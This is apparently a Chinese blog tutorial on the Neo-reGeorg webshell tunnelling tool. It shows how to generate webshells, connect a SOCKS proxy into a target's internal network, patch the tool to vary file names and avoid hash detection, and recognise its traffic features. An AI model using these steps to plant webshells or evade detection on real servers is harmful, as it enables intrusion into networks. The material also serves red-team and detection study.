简单介绍
》》网址《《
Neo-reGeorg
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,特性:
- 传输内容经过变形 base64 加密,伪装成 base64 编码
- 直接请求响应可定制化 (如伪装的404页面)
- HTTP Headers 的指令随机生成,避免特征检测
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性
- 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
- 支持内网转发,应对负载均衡环境
命令行分为两大块,服务端生成命令块
和客户端命令块
对于攻防来讲,公开的工具都需要自定义修改,关键时刻才能使用。
基础功能分析
服务端生成
命令行介绍:
D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
Generate neoreg webshell
optional arguments:
-h, --help show this help message and exit
// 指定连接密钥。 就是连接时的密码
-k KEY, --key KEY Specify connection key.
// 生成的webshell存放的目录
-o DIR, --outdir DIR Output directory.
// 参照的模板html文件,一般下载目标的404、403页面作为模板。
-f FILE, --file FILE Camouflage html page file
// webshell的响应码,建议对应模板。
-c CODE, --httpcode CODE
Specify HTTP response code. When using -r, it is
recommended to <400. (default: 200)
// 数据交互时,一次读取多少bytes字符
--read-buff Bytes Remote read buffer. (default: 513)
新增的404页面生成功能对于隐藏服务端文件挺好的思路,实战时直接下载目标的404页面即可当作模板。
// 连接密码langke、模板文件404.html、响应码:404
#>:python3 neoreg.py generate -k langke --file 404.html --httpcode 404
生成失败,未给出原因:
D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -k langke -f 404.html -c 404
·······
[ Github ] https://github.com/L-codes/neoreg
[+] Create neoreg server files:
[ERROR ] Failed to read file: 404.html
自己定位到相关位置,查看错误原因:
488行添加打印报错代码得知,python3默认使用GBK
打开模板文件404.html
,只需要在486行打开文件时,用utf-8
格式打开文件即可:
484 def file_read(filename):
485 try:
486 with open(filename, encoding="utf-8") as f:
487 return f.read()
488 except Exception as e:
489 print(e)
490 log.error("Failed to read file: %s" % filename)
491 exit()
自动在工具根目录生成文件夹neoreg_servers
,里边包括key存放文件,和ashx
、aspx
、jsp
、jspx
、php
等类型的webshell服务端。选择目标服务器可解析格式上传。
客户端
命令行介绍:
D:\Neo-reGeorg-2.3.2>python3 neoreg.py -h
usage: neoreg.py [-h] -u URI [-r URL] -k KEY [-l IP] [-p PORT] [-s] [-H LINE]
[-c LINE] [-x LINE] [--local-dns] [--read-buff Bytes]
[--read-interval MS] [--max-threads N] [-v]
Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
(debug_all|debug_base64|debug_headers_key|debug_headers_values)
optional arguments:
-h, --help show this help message and exit
// 指定webshell地址
-u URI, --url URI The url containing the tunnel script
// 指定内网转发的webshell地址,就是通过目标及连接目标内网的webshell。
-r URL, --redirect-url URL
Intranet forwarding the designated server (only
jsp(x))
// 指定webshell的连接密码
-k KEY, --key KEY Specify connection key
// 连接到目标内网的代理,在本地监听的IP
-l IP, --listen-on IP
The default listening address.(default: 127.0.0.1)
// 代理监听的端口,选择一个未使用的即可
-p PORT, --listen-port PORT
The default listening port.(default: 1080)
// 跳过可用性测试,如果生成webshell时使用了模板,即-f参数,连接时此参数必须。
-s, --skip Skip usability testing
// 自定义请求头
-H LINE, --header LINE
Pass custom header LINE to server
// 自定义cookie
-c LINE, --cookie LINE
Custom init cookies
// 前置代理,连接webshell之前需要连接的代理
-x LINE, --proxy LINE
Proto://host[:port] Use proxy on given port
// 使用本地搭建的DNS服务器解析域名。
--local-dns Use local resolution DNS
// 每个post请求发送的最大数据量。
--read-buff Bytes Local read buffer, max data to be sent per
POST.(default: 2048 max: 2600)
// 读取数据间隔(毫秒)。
--read-interval MS Read data interval in milliseconds.(default: 100)
// 代理最大线程数。本地搭建的连接到目标内网的代理,最多可连接多少个。
--max-threads N Proxy max threads.(default: 1000)
-v Increase verbosity level (use -vv or more for greater
effect)
连接服务端
// 代理监听在本地的1081端口,前置代理使用本地的8080端口,主要是为了把流量转发到burp上,方便查看。
python3 neoreg.py -k langke -u http://192.168.4.100/tunnel.php -p 1081 -x http://127.0.0.1:8080 -vv
// 代理搭建成功
netstat -ano | findstr /i 1081
TCP 127.0.0.1:1081 0.0.0.0:0 LISTENING 7784
使用代理
Proxifier配置代理:SOCKS5://127.0.0.1:1081
通过代理,连接目标内网主机192.168.4.7的22端口:
类方法解释
在开始之前,先来分析一下脚本功能逻辑。
全局变量解释:
主要类函数解释:
核心类解释:
数据交互过程
暂以php为例
neoreg的数据交互过程大概是这个样子,socks代理数据是包裹在http协议里边的,对方能抓到的,http协议相关数据包和web服务器向目标建立的socks连接。
站在攻的角度,先来聊聊本机和web服务器之间得数据包得特征隐藏。
文件特征
首先,是上传webshell阶段。检测木马文件最常用得办法就是文件hash了,所以生成webshehll服务端时,可以通过设定不同的-k、-f和-c参数修改默认值,从而避开hash检测。
-k
:主要影响webshell文件中的随机字符串,主要位置在headers的键值。-f
:主要影响webshell文件最后位置,exit函数运行结束后打印的html代码。-c
:主要影响webshell文件设定的响应状态码。
然后就是webshell的文件名了,这个并未提供参数,添加一个。
// 558行添加
parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")
// 739行下面添加
outfilename = filename.replace('tunnel.', args.filename + '.')
outfile = os.path.join(outdir, outfilename)
// 770行改为入下
outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))
使用时加-n
参数即可,如果不加-n
参数,默认文件名为tunnel
。
流量特征
由于作者采用随机数方法,所以流量特征并不是很明显。主要有以下几点:
- 如果生成webshell时,未加
-f
参数,访问webshehll时,响应体是如下格式,中间字符串长度不固定。并且除此之外,无其他字符。<!-- cMI1RecF6sIAaPpB3or1QxCmxO -->
- 每次利用代理连接目标时,请求头中都是有一个键名随机长度,值为目标IP和端口的自定义base64加密结果,不过,长度和正常base64加密后的数据长度一样。
内网IP加端口最长28个字符,最短16个字符
- 还有就是,一般header头的键都是可读的,而工具随机生成的键名会显得突兀。
Rjuclkefrmdnyws Ihxsrramyvbzuciw Mbwqvjrtbrsq